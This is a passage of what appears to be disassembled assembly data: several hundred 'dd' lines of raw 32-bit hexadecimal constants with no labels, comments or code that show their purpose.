		dd 8598537Ch, 0C75C692Eh, 24E39BC1h, 0CDC34E43h, 26B4472Ch
		dd 0B5164F92h, 0E7ADB2CEh, 98A5BD85h, 578E43F8h, 6AA46AE7h
		dd 49744ED0h, 2C48405Bh, 430AED37h, 30D2C2Ch, 953AC7E8h
		dd 89942D1Fh, 0D937087Fh, 0A45FEFF2h, 80B1108Eh, 0F68FE17Fh
		dd 0BAB8D72Ch, 32354C26h, 973F28C2h, 0AE477FBDh, 927B4937h
		dd 0BC3C205Eh, 0E4F4AFF6h, 0A9F67F08h, 0A39140C1h, 0C4A4BCAh
		dd 0A8A3CAF3h, 5726724Eh, 0B3F800Ah, 0A311E95Dh, 547DCF56h
		dd 74A8C47Bh, 0E18FE6Fh, 6A4D94F0h, 350D8EACh, 41B48ABEh
		dd 0FD124AA9h, 4A21051h, 61462859h, 5046A7CCh, 8F160C30h
		dd 8C6704E7h, 0BEFBEA2Bh, 0BA9D09B3h, 0AA03DF32h, 0AACB62D7h
		dd 0D5ADEB38h, 93EE7EB7h, 778E13C2h, 661403D8h,	0CC779E14h
		dd 0D19F256Bh, 2765E76Bh, 87E0103Bh, 8EACFA6Ah,	9E467371h
		dd 0A562A899h, 5AA0FBEh, 0D27C1A89h, 76EE8E12h,	0E6009D2Eh
		dd 0BE8D68CEh, 79129C7Dh, 0EFCD5357h, 0F030B6E9h, 2FAFA92Fh
		dd 0E4C8D5FAh, 1F7DDDADh, 1338119Ah, 0E4F24E01h, 16808B1Ch
		dd 49E0E846h, 15E32D06h, 0EB4744F6h, 870B4C27h,	0D732C67Fh
		dd 1A9434F5h, 0DF9D62F1h, 548A849Dh, 6F5873FBh,	629C907Fh
		dd 0BED19B8h, 4A82EEFEh, 932EE3F1h, 66F900F0h, 273EAC3Fh
		dd 0C43FF5A8h, 85D9650Ch, 0E87ECA86h, 6464163Bh, 0AC99103Dh
		dd 450C77F1h, 16E436E0h, 77839AD1h, 0E6382C04h,	0D2D4529Ch
		dd 4FB18130h, 95C203CAh, 0DD2C7B5Eh, 0DB24AECAh, 55061684h
		dd 0D63EB61Dh, 0DDC54C69h, 5849CE8Eh, 0A4E2A3C9h, 509C65FAh
		dd 940E9904h, 85CD166Ch, 0DF777AD6h, 3506D4D8h,	251E65BBh
		dd 533B92D2h, 8C0026D2h, 11C008E8h, 47DA5086h, 0CC0955F9h
		dd 4D79D040h, 0DFD40D1Dh, 9F8DECC4h, 0CF1C8216h, 6805F375h
		dd 9EA0D276h, 6E44E1C0h, 0C0A4F4BDh, 1BACDE7Bh,	2035FC55h
		dd 1943FF9Ch, 0F4A0B512h, 0B0773E15h, 0A98E3BAAh, 7938FE7Bh
		dd 69331DEDh, 1EA9D4DDh, 0AE780800h, 1BD51140h,	47C0742h
		dd 0EF5EEE99h, 0F13A51AFh, 6926097Ah, 1C9A79DDh, 96B5D962h
		dd 31585D09h, 0EDE41819h, 484BE95Dh, 0CF91A2D6h, 660FDB13h
		dd 4B23AEFAh, 38C1502Ah, 0FE51C387h, 0FCA0196Bh, 20A63BEFh
		dd 0B113BC85h, 9FA362AAh
		dd 0E6D874DBh, 0CDB2CCECh, 0D6EB0E58h, 27450CA7h, 0CB1CA7C6h
		dd 0AFCF41ACh, 5C93191Eh, 0E59876B2h, 0E6BD6D7Fh, 20024FE5h
		dd 0A29DAC4h, 0DADA187Eh, 0A35DB575h, 0BA752706h, 54D36FC8h
		dd 971924C5h, 5B1D5D29h, 28FAA985h, 364FFE64h, 0A3EBC7D7h
		dd 2D8FB882h, 0BA36133Ch, 7578BCFDh, 8746C133h,	69C82B9Fh
		dd 0DF9071B1h, 3CC0BB2Fh, 0DD2179BFh, 0A1C91252h, 6E869DFh
		dd 0B0F9CAF4h, 0DD220F02h, 0F0D48CC1h, 0B153DE34h, 0ACCF9330h
		dd 1AA8D530h, 0F65E030h, 0E9F4B25Dh, 0F5BEAD8Fh, 386117BBh
		dd 409EA4D1h, 0D98E6322h, 0E21B7D64h, 4DF24846h, 0E03334F1h
		dd 38112E44h, 3F5A1D84h, 0E18C52A0h, 7ACD1E66h,	68E41BCAh
		dd 51410ABDh, 0DFC06985h, 67C7A9B2h, 0CDB1D28Dh, 0BC6700ACh
		dd 0E8F83FA8h, 0C882D470h, 0B7BDD7C1h, 0F9C258FEh, 0DEABD916h
		dd 3820E4BEh, 322DE06h,	879C229Ah, 0A0B76FA3h, 0C9E61A1Ah
		dd 0B8DCF884h, 0BBF877BCh, 9485AA10h, 653985BEh, 19D772FCh
		dd 19BDBD4Fh, 3B87C539h, 50B7CF54h, 0AA689C16h,	0E9368E16h
		dd 38115140h, 674B517h,	54178911h, 0D093B8C5h, 522D54AAh
		dd 0BF96EEE1h, 0AF7B68Ch, 40A1BD3Ch, 0CD73E94Eh, 5DC16501h
		dd 977674AFh, 73C82090h, 54B0D7EDh, 30E4992Ch, 0B805AD01h
		dd 69C62AE9h, 0B44F9A95h, 70A43A44h, 85E71B4Bh,	0C0D9A14h
		dd 4866E3Ch, 1134C5C6h,	1554CABAh, 0BB93A649h, 7774C6D2h
		dd 20DA54BAh, 0EA7088CFh, 61DF6856h, 290DEC6Bh,	8B939AAh
		dd 1A9A5D8Ah, 89A1C6A8h, 0F1B2AF3Dh, 0FBDB0C4Fh, 0F6460CCAh
		dd 0D1BE63D8h, 0E5ECC75h, 0F9B2805Fh, 0CFD1EC8h, 0C88373F3h
		dd 748553A1h, 57098E32h, 0E5BB4501h, 1F283BD6h,	225CBD08h
		dd 579D7D0Ah, 25990C6Ch, 0CE852471h, 5E8C47A6h,	56DDC4B0h
		dd 2418E5C0h, 7553B18h,	0DB9DB3D0h, 0DFF8E5FBh,	0BC77ACDCh
		dd 2690F164h, 85D8C20Ch, 528AA356h, 43053E4h, 7669153Eh
		dd 0A17125AFh, 773DD2B1h, 0F3A91ADBh, 0E5BD4C47h, 9F0E55FDh
		dd 426BCCC3h, 8EB446Fh,	14D0FBCh, 0BCD48F3h, 0A684E979h
		dd 9AEDEB6h, 342D5469h,	4439DC22h, 0D787B9B5h, 8107EF18h
		dd 8A2F2465h, 6E5C2194h, 3AF887C5h, 0E1CDB5C5h,	0B04713DFh
		dd 6D3C9D4Eh, 0B543ABFDh, 8410F1CFh, 9A6890A3h,	2A83F514h
		dd 9C01D48Dh, 4F477F4Bh, 0D9544C63h, 0B40DB4F3h, 62F9019Ch
		dd 8EDB71ECh, 8A8584C6h, 68DD6787h, 9CB58F29h, 43F3985Dh
		dd 0FEE244E5h, 6295C1Eh, 4BDE0ABFh, 24BF305Ch, 441F6E47h
		dd 0A871CCE7h, 5BCAF616h, 800F2D66h, 0A14E9D75h, 104B25D2h
		dd 0EE164705h, 8EA9ABEDh, 0BEED35C6h, 1B531DB2h, 0B3B45D2h
		dd 0CD16942Fh, 8BF96BDh, 0C18F59FDh, 176630E7h,	0CA0A6C8Ah
		dd 57695E3Ah, 0D22A964Ah, 1DEB60EFh, 0ADF3EFA4h, 24B4AAADh
		dd 0FEB7B98Ah, 0EDB76746h, 0D7BD97EBh, 49E89FBDh, 74CF438Ch
		dd 48632E7h, 7945AED1h,	0D8F1703Dh, 361BABEFh, 0D6F64E84h
		dd 0A2A6D53Dh, 4723D8ACh, 0B9B41F11h, 0D8734A90h, 0F870EE1h
		dd 0C41BACB0h, 95B465E9h, 0CF30A9BEh, 0C40D6D09h, 93066B14h
		dd 5B68FE39h, 304147F3h, 3881C5Ch, 0DEF9BF5Bh, 9ED9B005h
		dd 4B6F2EA5h, 83545DD6h, 718A7139h, 904BB7C2h, 0A2A344AFh
		dd 50DEE435h, 85CF4C62h, 654EBDD1h, 0B1734303h,	424A9BE9h
		dd 5D72323Ch, 8C4C9E1h,	4E07C3D6h, 0B6016568h, 0A154500h
		dd 0FE7C44EEh, 23BE586Ch, 11502A7Fh, 1C7DA2A0h,	4F3518Bh
		dd 0B4E36E4Ah, 0B096585h, 7A984D69h, 91CC6122h,	0D749502Eh
		dd 840C3563h, 58B85405h, 2D483712h, 82537136h, 0EAECDCFFh
		dd 764E2F80h, 122FF98Eh, 0BD3D3EC8h, 9CF557A7h,	4C4484E8h
		dd 0B29ADDD7h, 31AD2564h, 0C860EFC5h, 0A71F02AAh, 789BB546h
		dd 0C8C33FE8h, 4ED8D634h, 0E2237862h, 82A845D1h, 0DBF95820h
		dd 3199C57Ah, 0AE8DAF8Dh, 4FFC760Ah, 0AC100953h, 6C717CABh
		dd 92B4D75h, 0D16FF41Eh, 0C8D58BEDh, 625F65D7h,	0FB1E29EFh
		dd 0A971C37Fh, 0FAB36985h, 0A14005FBh, 446CA324h, 0C38541D3h
		dd 19B284C1h, 5C0B362Bh, 2ECBD94Ch, 54B72850h, 6F72B0A3h
		dd 61B24Fh, 5B6DE82h, 0E91A1E46h, 3895C4FDh, 0F0E8DF6Fh
		dd 0B018E281h, 0F38DFB52h, 316EFFEFh, 9367E45Dh, 5B9984A6h
		dd 791816A3h, 0A9661529h, 890D4FCDh, 96C1756Fh,	8494E877h
		dd 818B6762h, 0B8236C00h, 56F7C796h, 0CB95DCDFh, 0E803E01Ch
		dd 401EF698h, 209BF4F4h, 8B35C676h, 266911h, 9186A72Eh
		dd 0D7CDC15Ah, 80E41A12h, 8F82082Dh, 8C7601D4h,	0E8BFA04Eh
		dd 0CA4FE651h, 0B1632E2Bh, 0D01E974Eh, 0FD8D1A91h, 10BF0F3Dh
		dd 6634E73Ah, 4A23E7E8h, 0A7A48D0Eh, 3110F96Dh,	91604BE0h
		dd 0A00E28F8h, 0F81FBFE5h, 0E99A8008h, 26EA0CF2h, 0C88832h
		dd 497196A6h, 85E07442h, 0FB6DD43Eh, 0B562FDA0h, 0C5A2ADB4h
		dd 8C856A20h, 2D7831Dh,	18440D19h, 0FFCA5CB2h, 859F889Dh
		dd 0B50B162Ah, 9C3C159Fh, 1EB4C06Ah, 0D932CFD6h, 42D57E60h
		dd 0FB6B75BEh, 0B79861FEh, 0B70E6761h, 6D06C490h, 0C6B16A8Fh
		dd 667E4C4Eh, 644D90B1h, 8D1129ADh, 0C7557550h,	59767144h
		dd 0BCAA02F1h, 0BD90B44Bh, 11B8D673h, 524EB945h, 0B55DFB2Bh
		dd 0A63E96E8h, 0C88CDD69h, 7F7F00DBh, 6AF2DB77h, 87CEE0A8h
		dd 3B838D37h, 0D4D371EAh, 15CBE65h, 0C6444418h,	0C915C861h
		dd 0A4D8AA56h, 804A97C1h, 0C7573E01h, 1339C8F5h, 7C87D41Bh
		dd 32E782A5h, 0B4146650h, 61E77309h, 327401B1h,	29962C17h
		dd 55E38D94h, 269D2555h, 840A04DBh, 0FC1A38F8h,	26FFB70h
		dd 0C97EFD3Bh, 12AEB35Fh, 0A6633B2Fh, 0DA0FFD0Ah, 131DE6DCh
		dd 492B653Bh, 0FFDADCC0h, 9CDA15BDh, 2395AA1h, 39465F26h
		dd 250AA55Ah, 0DBC605Ah, 8DE31363h, 0D84340FBh,	0A4B8111Bh
		dd 68F5CA7Eh, 53A9C640h, 24A7B93Eh, 63F74F43h, 0C949209Bh
		dd 19D4CB2Bh, 14706F1h,	52B18BADh, 7AA528BEh, 0CABD8F87h
		dd 0F6B38687h, 0F423557Bh, 0F5FF5DF8h, 0EAE9B61Eh, 231350F6h
		dd 1A220E4Bh, 0EF259177h, 3550C19Ch, 575E335Bh,	0E3CA18C4h
		dd 9F97F3F6h, 0FA53A12Dh, 0B237577Eh, 61490E15h, 0E5A7EDA7h
		dd 0D3022A41h, 0ACE712B7h, 15077ABAh, 45A2DDC1h, 16468915h
		dd 0F77CCA90h, 5A53B47Ah, 53CA23FFh, 37A53B0Fh,	0DD2A8022h
		dd 0BA6D7E4Bh, 4D6D2270h, 0C103A208h, 0F07075B8h, 5CA6CAEFh
		dd 0F6EAA5ECh, 0DCB98C8Bh, 0E10DC90Ah, 329C60CFh, 1497E771h
		dd 7DDC9523h, 96E50498h, 0CD864489h, 20B6EA2Ch,	7B46BAE4h
		dd 69985960h, 0C8B77C6Bh, 0E387E276h, 2FF41C09h, 2633ABDDh
		dd 0AD4A5560h, 0BDC50E9Ah, 7568E8E8h, 0F52C1433h, 0A3815969h
		dd 0B1CC158Ah, 6CAE9DF0h, 0CE3E0DB6h, 7A001B66h, 0EA43090Dh
		dd 0D0C2D313h, 3F9AE0D4h, 0DE9A6A26h, 8B655860h, 55913C0Dh
		dd 35F7A06Fh, 9840DC92h, 89EE2D66h, 5CB6B1EEh, 8D1DD689h
		dd 9D3CD0C3h, 0E7F6BDF4h, 0B28C0864h, 0C5520F07h, 0D23EB297h
		dd 2A735A3Fh, 0A17FB922h, 910CBFD5h, 13BB581h, 0DD3C8546h
		dd 0E4474978h, 2ED05F3Fh, 0DF5910FAh, 0E3CFFF40h, 0E7A5AD52h
		dd 0D92E52C0h, 0EA429BD6h, 1B0DE0E1h, 5DEDED40h, 0C98C7C5Bh
		dd 84A4B44Ah, 0EBDA682Dh, 988019B7h, 0CF979FAFh, 4507FD2Dh
		dd 7E458D80h, 5E977BF9h, 9EA11839h, 870F8513h, 0EC4FADCCh
		dd 2D70E788h, 5F821EE3h, 342E1CD6h, 0EA14CC25h,	84067670h
		dd 3F32282Eh, 60255F2Eh
		dd 0F0C613DDh, 7130A87Bh, 4DE3CA39h, 7E1272E6h,	8DB4AFA2h
		dd 0DED364DFh, 8C771052h, 8DD99AD7h, 0A7325A2Dh, 8151C3ACh
		dd 1C18CEC4h, 64BD796Eh, 855D8C01h, 9F8D42C7h, 1C44B2Ah
		dd 77DBD55h, 6A009143h,	0CF0EC427h, 5B41DA3Dh, 0B19C8D3Bh
		dd 0DE870AA3h, 417B9766h, 792F69BCh, 0A9C95AF3h, 0CD7AC648h
		dd 0A3744C73h, 88F6D1CEh, 0A61643C6h, 0FFD50B36h, 0BDFDBFA7h
		dd 0DFF665A6h, 38CB6311h, 0A99C0E81h, 1A16A146h, 5D7FCD63h
		dd 4A47C507h, 0A1C0080Eh, 0A50F66B3h, 13318830h, 7A998986h
		dd 3FC11F74h, 796854F4h, 7214000h, 65EF835Ah, 5D712B5Dh
		dd 6A0039Ah, 3D525EF8h,	6EAD1CF0h, 98E3FF80h, 1F0CFB6Dh
		dd 13CE07F0h, 0B83796FFh, 0E33A8907h, 4BD7DE5Bh, 81296029h
		dd 49E80F7Dh, 137FF33Dh, 808E8D14h, 0D7B5643h, 0EA2AC434h
		dd 78DC36D0h, 0FD132F78h, 0E7C07725h, 0F5C6275Ah, 0A6D29E42h
		dd 0B377F2BFh, 0EE373AD5h, 7ABB2C51h, 0E6DDFDDFh, 0DA7B7C2Fh
		dd 54B355E6h, 0D50BF548h, 2ECC620Bh, 3D3EDEFFh,	84BE9A36h
		dd 2918E331h, 0AE7DF861h, 9B713619h, 0E8E6C6A5h, 0C2BB7A2Bh
		dd 0FC88D2ADh, 78AA6AD9h, 8BA226BAh, 890D118Fh,	0EDF997FAh
		dd 4670A6FFh, 6E94AA40h, 30F3D580h, 0EFDDB6EAh,	34502080h
		dd 0EAC4033Ah, 0F0A71F9Ch, 3BFC6A4Dh, 0B1D0497h, 69BA21D8h
		dd 44DC5DBh, 3D21F4E3h,	0E8029E61h, 92FFF1FFh, 5E008255h
		dd 0F76264Fh, 29442BE0h, 0CB7025D4h, 0C5B9E79h,	3B442DE2h
		dd 804DB521h, 0A9952B48h, 566FB2F3h, 21A3C388h,	10502F4Dh
		dd 0F90224A0h, 7C035AEFh, 9D2FC782h, 0A5A85719h, 52780CF3h
		dd 0FB717E7Ah, 0CC527D0Ah, 15E44479h, 3290157h,	68ACB17Ah
		dd 0B4FB2E92h, 0A2F520ECh, 3725F38Ah, 0DC7941B3h, 69B6BE07h
		dd 6EF7B054h, 0EE155B0Ch, 0F0563219h, 3EE9C77Dh, 0DD79EB8Fh
		dd 0C9CD1041h, 18024052h, 538288E7h, 0FF8BEADBh, 0CFF78901h
		dd 84E68B20h, 1F1760B9h, 0CDBF8DDDh, 369DCF2Dh,	0C88E26A0h
		dd 8FB93EB4h, 0F345E2F5h, 6F78686Fh, 0BD986799h, 27D23273h
		dd 0EAAD325Ch, 43CC4Eh,	93B5E07Ch, 0DE37770Ch, 819BB084h
		dd 5C9C1089h, 2DBF222Ch, 6784EA00h, 1DB4D781h, 0DA945407h
		dd 0CB59DC3Ch, 69939AA9h, 0BBAC028h, 8788341Ah,	0E5FF8C56h
		dd 0A7C80D68h, 99E84ABDh, 0BA0F9878h, 0BB3A334Ch, 45AC42F1h
		dd 0A776E801h, 83B0367Ch, 0E1F9F7EAh, 0BE196778h, 4FB0ADFDh
		dd 25973241h, 63C60B72h, 0E089B428h, 1C10C077h,	0B8483720h
		dd 46391693h, 0AEF4DDDDh, 0E681B4F0h, 0C88468C9h, 0CEA7D6E9h
		dd 81365CF7h, 8BF77B06h, 80F629B2h, 0B99A4FB7h,	0DB4C74DBh
		dd 582882E7h, 8A722F99h, 600C0407h, 0A0AA08F5h,	90B6CB71h
		dd 31E7C60Ch, 6988D087h, 760696D5h, 66644D23h, 4AD58809h
		dd 0E29FC7CCh, 0E6E774F0h, 0E2DEF73Eh, 4DF0221Eh, 28B12A3Eh
		dd 9A2A5727h, 0DF1A562Fh, 0FEF3FE11h, 589D1C9Ch, 1817E244h
		dd 807D190Ch, 0F46AB5E2h, 0BAF8C3A8h, 34DDE770h, 50F56107h
		dd 0FA6A5BFAh, 7DAD217Dh, 970E3D7Bh, 0DD460AEAh, 1CFC96EBh
		dd 88FA56C0h, 95CE5869h, 0CEBDAB6h, 495464C1h, 99FD5D91h
		dd 0E74AB0CFh, 6244F143h, 0F58D17B5h, 0D7B304C4h, 0C56D7427h
		dd 3B15B9FFh, 7056B89Bh, 0B676E6EDh, 2A1351A5h,	42B28BD2h
		dd 0C713781Dh, 0D7FFF9C8h, 0DFC5509Bh, 0E38CF666h, 774875Bh
		dd 175F295Ch, 6A971341h, 4FDC7E04h, 0FA65C35Ch,	75B20835h
		dd 108A8FBAh, 0EFC01071h, 46F25B92h, 8B704FD0h,	31D2EBE8h
		dd 1EE1BC75h, 682C9137h, 0F874517Ch, 0C533A1Eh,	0A1CD7372h
		dd 0D8559CEDh, 0A06F792Ch, 0A99A58EFh, 59B61E57h, 4134065h
		dd 0F3830E85h, 5056BDDBh, 9D5A0481h, 1DEDCD62h,	538AE18Dh
		dd 0AF13D9F8h, 0D2F57360h, 0B82B1BE5h, 97CE2D52h, 693AF02Ah
		dd 8F290695h, 0E15C4BD7h, 0A799C08Eh, 0EE01B66Dh, 0C67E080Eh
		dd 0B5560731h, 0F1B81C5Dh, 0D7E84882h, 0E76BF933h, 267AB03Eh
		dd 8C92B141h, 602895C1h, 45955592h, 5E6FE3C4h, 482DECB9h
		dd 9B87A6CBh, 19260B32h, 75097559h, 79C1273Fh, 0D2D6B3A8h
		dd 61366532h, 62761743h, 41C822h, 0CCF130ABh, 0DA729EEAh
		dd 1F04533Fh, 0BB3A0E25h, 0BD2442A4h, 611DDAE7h, 82BD7809h
		dd 0D7F0FB7Fh, 0D8EE6E83h, 4AD36884h, 31A22D85h, 59309375h
		dd 0FF89744Fh, 0DFA1AF79h, 0A0761A31h, 0D8515ECFh, 0F4E82DD4h
		dd 76F1DB20h, 0A72670FCh, 0E3A56E77h, 0AC60F28Ch, 54376DA6h
		dd 0EB8D3E1h, 374136EAh, 286F876Eh, 1403C3DEh, 93DF49E6h
		dd 0D40EE368h, 0AB434591h, 764A6B90h, 8DEE5FB5h, 787597E2h
		dd 0BC0B9CA7h, 80111A67h, 0ECD5EAC2h, 8FA5A189h, 0A50A7AC1h
		dd 98476188h, 7011CC2Eh, 157BCC2Bh, 0BEB90F57h,	6B718571h
		dd 835DCB39h, 6AB442D9h, 9DB74028h, 44E29CB9h, 0B57452B1h
		dd 17A653Ah, 0D26ADD44h, 0AA9D8E94h, 0AD8504E8h, 35DC5BC6h
		dd 8B605870h, 92D690A1h, 0C9F53A03h, 46A937D3h,	76D45B57h
		dd 34AF9C91h, 0E6A29BE0h, 0AA6CE5A3h, 9A621D9Ah, 8B5487F3h
		dd 0E04B51ABh, 0A8868CBBh, 0ABA78D9Dh, 0D206B50h, 0F1BDC690h
		dd 742DC12h, 519A55D9h,	0D283DC85h, 0C431ADE5h,	8CD15487h
		dd 0CCF18FEBh, 23400B62h, 747602F6h, 0A73C89D0h, 0E427FA00h
		dd 9F3F7CEEh, 89ECE306h, 6BBA9BBh, 36F9E857h, 0BC805325h
		dd 577CC177h, 0EC99C0FAh, 656EAA83h, 0DB69DA46h, 0FE413281h
		dd 8B538E59h, 0B5149361h, 7AD60425h, 0A2C18912h, 87A11804h
		dd 0CED00104h, 578110E4h, 7ADCB9D6h, 67A2194Bh,	277F0678h
		dd 0FD15BF94h, 71C7E156h, 3AB46151h, 557CBA53h,	43AD0FA9h
		dd 0C86B87CBh, 5F48F297h, 1CAE043Bh, 0C0418470h, 3074D622h
		dd 10DA885Eh, 910313B8h, 0D6795B26h, 18776F60h,	8953BD42h
		dd 0FDC672ABh, 0D5D0A0BAh, 0C40D2418h, 4D6FA645h, 0D5FE3CABh
		dd 0C63922h, 14098EBBh,	0AE6784C3h, 0AD3290D6h,	0EA71BBD4h
		dd 0B245DE2Ch, 0E4592B6Ah, 259C0485h, 0D09AB898h, 41C8BD9Ch
		dd 0D2015A47h, 55204A74h, 8F9C475Ah, 0AFB1D48Ah, 0FB994830h
		dd 61D9DB04h, 0C5DA8FDCh, 430139C9h, 0B7169632h, 0A7CF9A55h
		dd 79409C32h, 8571695h,	4E1D026Fh, 0C37A89B0h, 0AC158924h
		dd 9CC60EBAh, 8EF4A3Ah,	0C05A587Ah, 0B4A735DEh,	2C8707DFh
		dd 4E662282h, 386C0B2Fh, 9FCD28Dh, 30AE0442h, 81D17258h
		dd 837E534Fh, 6F296DDFh, 0C1D97C93h, 62329B0Fh,	67B28554h
		dd 90225DAAh, 0D4DFF5E6h, 0D57CA5B3h, 0CB4230A2h, 1C9922CBh
		dd 0FA4BDDB5h, 0A040A2DDh, 0ABA4E44h, 4EC91632h, 421A7ED7h
		dd 22F58CF8h, 0A1A141CCh, 0E13EE537h, 964B592Dh, 66C1038Ah
		dd 0E04FF749h, 0E4929D69h, 54313FBh, 20245A45h,	79B79ABAh
		dd 6E7112A2h, 62F9D6DEh, 0ACE32998h, 12791193h,	0A43BD7A5h
		dd 0DAC2ABC7h, 0A598D99Eh, 809F5DC0h, 0FE4A53D0h, 180F703Ch
		dd 0FA7A0831h, 0CE8AD2BBh, 151D7AF7h, 2A1666B2h, 0F73EF43Bh
		dd 0D091BDCDh, 1D7EC3AFh, 9A46101Ch, 270FD891h,	98A55AF3h
		dd 7B9B323Fh, 1198D0D2h, 3831722Eh, 21648BC8h, 15807317h
		dd 0FEF6DB86h, 56E379F3h, 0A20E741Bh, 62DFBC5Eh, 0BE076CE8h
		dd 765E996h, 93D09EACh,	0D44CE6BBh, 472FDF66h, 0DF55ED2h
		dd 5AFF0D00h, 0F1E83604h, 620BA6h, 0E55F1D15h, 0A88E2A1Eh
		dd 1D07CFD8h, 0D6ACB694h, 0C0ADC141h, 4B93A6FAh, 6A420FE6h
		dd 0F2E301D1h, 7069E79Ch
		dd 28FDCEA1h, 0A7C8E021h, 79E863C2h, 4B493C50h,	55F34EB1h
		dd 0A5F39C4Ch, 0DD0903E8h, 8BF9F1C7h, 6DB62BA9h, 9149416Eh
		dd 4B68B36Dh, 4A63FB20h, 0D1DE3FC2h, 7FD60AC0h,	6B82D627h
		dd 0A37FA442h, 9A35EBFBh, 8AACEC92h, 6EF0C3A3h,	968D03EEh
		dd 66E49D8Bh, 4C259552h, 862DE20h, 76C05FB8h, 0D6240AFCh
		dd 7370FEB6h, 58CC33F2h, 2B466A35h, 98074A7Bh, 0D4B1A498h
		dd 0FC8C6165h, 1470EAADh, 0E542C968h, 7D37F798h, 0A7E52859h
		dd 2D4626E8h, 0CEAFDD25h, 17D24C07h, 71C6DC0Bh,	6820D5D7h
		dd 0F0C56D28h, 0CFA5E7F1h, 0AC6BB68Ah, 0C24E6AA9h, 0ABC6C5D6h
		dd 0BC6D0F16h, 8D62E970h, 0E443DF9Ch, 0EE964BBEh, 53B99088h
		dd 417BB83Bh, 1405CF6Ah, 0A68EE996h, 5AB188ADh,	0B1338B6Ah
		dd 0C7AAB923h, 9284782Bh, 0A479902Ch, 629204h, 89143558h
		dd 66D47225h, 114C60F1h, 0AA15F8A8h, 73B87B4Fh,	661C1C54h
		dd 1E339F93h, 4322541Ch, 0B550ABC0h, 10285341h,	0FBD600DFh
		dd 0AB605D12h, 0B3784FC4h, 1BD4DD95h, 7A3821D4h, 0A0563356h
		dd 1B12226Ch, 0FAEF1422h, 98A68CC0h, 3CF49C5Fh,	5657F2CAh
		dd 829C03F9h, 74C36E85h, 0F42A986h, 760F267Dh, 9EDE10B5h
		dd 727048E6h, 0EBA4CF79h, 41A006D0h, 0FFD971AAh, 9348D2FDh
		dd 0B0DD2164h, 0AA6713FFh, 23707A30h, 94ACD737h, 96DD22C8h
		dd 0E21B3DFFh, 0B6C77339h, 0AACEE4A5h, 5EEDBEBBh, 0FC450E81h
		dd 86E94DF7h, 0B411C96Bh, 98680C8Fh, 2C2E3B07h,	6B9666AFh
		dd 0AB67AB21h, 0B85063AEh, 0FAE344ABh, 2FE47931h, 1779095Eh
		dd 9294B376h, 625E04B5h, 57D8EA31h, 99E4E1D3h, 0BB897293h
		dd 58BF016Ah, 0F69DFCE4h, 0A615A05Ah, 5836A15Eh, 0ACE34A8Bh
		dd 305C5EC3h, 0D1090D20h, 46E5384h, 0A7EAEA5Bh,	0BEB450A2h
		dd 3569F39Bh, 0F01E1FBh, 486F88D5h, 0D2605A29h,	0A139C908h
		dd 36BFEEADh, 0F21C1705h, 0C65D1F2Eh, 767047A0h, 310DE87Ah
		dd 6C9CEA2Bh, 3C1E27F7h, 0C9D17675h, 567AF623h,	0AFA1519Eh
		dd 0E93652D2h, 0A707E1F2h, 92641AD5h, 0FFB0BE31h, 637A87D8h
		dd 6409E531h, 0C3A408AEh, 5E83CDD9h, 9FDA7732h,	3B7CF44Ah
		dd 357C1850h, 0FFFD0BABh, 911CBC0Bh, 0E0C81314h, 41AC4F98h
		dd 757AD58h, 32B76382h,	87831BABh, 0B002C30Fh, 9A82570h
		dd 8CD1D580h, 8B1F9F54h, 0CCE85982h, 904628DEh,	0F86FD7F9h
		dd 0D1DE680Dh, 0EAFB0FD3h, 0E6F045DDh, 0B70CD9B8h, 9F181A85h
		dd 0DAB94009h, 0C971E9F0h, 5ACF8B12h, 0DDF76AB0h, 0D2DEA3B8h
		dd 898FB459h, 0A14FFCABh, 5F1A56EAh, 0A1999CB4h, 682C635Eh
		dd 0EB87D41Fh, 0CBBE1D24h, 84736B53h, 583F16BCh, 0AB1C233h
		dd 2C403043h, 8D4E11FBh, 9FD9F62Eh, 6A8C1FDh, 0BF5BBD12h
		dd 0C95BEBDBh, 6FF2217Bh, 0AC159819h, 0E662EDE3h, 0D215CFFCh
		dd 8301990Fh, 0B9EE0D6h, 0E512DC60h, 0F006E95Bh, 0DDF1EE24h
		dd 0BDB5D1Bh, 7B9398DBh, 4A9AA905h, 0B6294FAh, 0A51D4A4Fh
		dd 3FE4FDB9h, 0DA8D2F8h, 65309535h, 86A0CCFh, 0F04FB2E8h
		dd 312B4E30h, 48A6D5BDh, 469EDB36h, 2B52336Eh, 8E2D4E3Ah
		dd 27D08766h, 9B49D33Bh, 0E95DE376h, 1A43CA3Fh,	7581BF65h
		dd 0CD9DB310h, 0BB89316Fh, 0D1E27E07h, 6106176Eh, 47292E56h
		dd 0F61A252Bh, 0A2EE5858h, 0F0F3CE58h, 5ACAFA46h, 2BB1C566h
		dd 7E4A3D75h, 0AF10F3A0h, 0C8DBF58Eh, 0E93FC6FCh, 13C2BDB7h
		dd 4FB9C617h, 6D0B565Dh, 23DD59CCh, 21781448h, 0E09CC14Bh
		dd 71AA9939h, 7EBC7235h, 6916ADD3h, 3E2F17D0h, 72A73F40h
		dd 0AB4DE321h, 1A2DDF7Ch, 0E421A57Fh, 20CFC4B1h, 5DF004Fh
		dd 0DD321D1h, 44B9D208h, 0BBCA5CAh, 423D9404h, 0F15CF557h
		dd 0D24B1DD0h, 18A19FB5h, 0BCD4336Dh, 0A812D1AFh, 0E9CA1FEh
		dd 9727C5B1h, 8C999D55h, 95D558F4h, 48EC7C65h, 1F281D56h
		dd 21E6E608h, 0E66452EDh, 0E01C801Ch, 5A881FFCh, 0E8B90447h
		dd 76F285ADh, 0A8A625ACh, 4C813599h, 0B6EFAF1h,	0B3A1A519h
		dd 119FDB2Eh, 4E27833h,	0D15D9786h, 2CAEEAFFh, 0BCC91164h
		dd 6C49A3BEh, 88A0BD86h, 6B0E69B0h, 84EEF01Ch, 0EEC4B6E2h
		dd 1B3BFFDCh, 3B30B83Fh, 236D52BFh, 3F235F19h, 0FD17F1h
		dd 7C94EDE4h, 0DBB5C21Eh, 9DCF314h, 7B86D94Ah, 613559C3h
		dd 8194147h, 406352h, 7BCFC618h, 67FB8C3Ah, 81AF344h, 7EB16585h
		dd 53DC20A4h, 83FD364Dh, 4F250685h, 0E0A2D91Eh,	6248EA89h
		dd 309DBAC3h, 8ED06E68h, 7B3F0E61h, 0DED6BAB0h,	16283AD3h
		dd 3CDCD3C7h, 377FC81Bh, 0DDCBF971h, 9A8813Bh, 0B433B7A2h
		dd 0A85CC2A0h, 0D3D850B6h, 3296E0CCh, 41861B74h, 5B64549Eh
		dd 531EE7A8h, 5994DCF3h, 550916DAh, 0CA2F3F9Fh,	54BA90FDh
		dd 4A251BFEh, 73880352h, 0D03B65C5h, 8315D0B1h,	4F589C3Eh
